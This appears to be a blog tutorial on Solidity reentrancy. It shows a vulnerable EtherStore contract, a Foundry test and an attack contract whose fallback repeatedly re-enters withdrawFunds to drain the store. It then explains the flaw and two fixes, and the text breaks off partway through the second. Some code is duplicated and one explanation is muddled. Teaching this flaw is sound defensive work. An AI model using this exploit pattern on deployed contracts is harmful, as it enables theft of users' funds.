Foundry V- Reentrancy
3 min readOct 28, 2022
Code: here Thanks ahmet and murat
pragma solidity ^0.7.6;
import “forge-std/Test.sol”;
EtherStore
contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");balances[msg.sender] -= _weiToWithdraw;}}
ContractTest
contract ContractTest is Test {EtherStore store;EtherStoreAttack attack;
function setUp() public {store = new EtherStore();attack = new EtherStoreAttack(address(store));vm.deal(address(store), 2 ether);vm.deal(address(attack), 1 ether);}function testReentrancy() public {attack.Attack(); // exploit here}}
EtherStoreAttack
contract EtherStoreAttack is DSTest {EtherStore store;constructor(address _store) public {store = EtherStore(_store);}function Attack() public {emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Start attack, Attacker balance:", address(this).balance, 18);store.deposit{value: 1 ether}();emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);emit log_string("==================== Start of attack ====================");store.withdrawFunds(1 ether); // exploit hereemit log_string("==================== End of attack ====================");emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);}fallback() external payable {emit log_named_decimal_uint("EtherStore balance", address(store).balance, 18);emit log_named_decimal_uint("Attacker balance", address(this).balance, 18);if (address(store).balance >= 1 ether) {emit log_string("Reenter");store.withdrawFunds(1 ether); // exploit here}}
EtherStore store;EtherStoreAttack attack;function setUp() public {store = new EtherStore();attack = new EtherStoreAttack(address(store));vm.deal(address(store), 2 ether);vm.deal(address(attack), 1 ether);}function Attack() public {emit log_named_decimal_uint("Start attack, EtherStore balance", address(store).balance, 18);
emit log_named_decimal_uint("Start attack, Attacker balance:", address(this).balance, 18);
store.deposit{value: 1 ether}();emit log_named_decimal_uint("Deposited 1 Ether, EtherStore balance", address(store).balance, 18);emit log_string("==================== Start of attack ====================");store.withdrawFunds(1 ether); // exploit hereemit log_string("==================== End of attack ====================");emit log_named_decimal_uint("End of attack, EtherStore balance:", address(store).balance, 18);emit log_named_decimal_uint("End of attack, Attacker balance:", address(this).balance, 18);}
HOW!
1- Attacker needs to deposit because withdraw function requires this balances[msg.sender] >= _weiToWithdraw
2-Attacker withdraws his money with the following function
function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");balances[msg.sender] -= _weiToWithdraw;}
Yes he can withdraw his money also this part redirects to fallback function
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
because this function needs to have msg.data in the (“”)
You can see fallback function takes the all the money
if (address(store).balance >= 1 ether) {emit log_string("Reenter");store.withdrawFunds(1 ether); // exploit here}}
SOLUTIONS
1- Checks Effects Interactions
function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}
2- Use ReentrancyGuard
bool locked; // create this boolen variable// create this modifiermodifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}// add this modifier to withdrawFundsfunction withdrawFunds(uint256 _weiToWithdraw) public nonReentrant{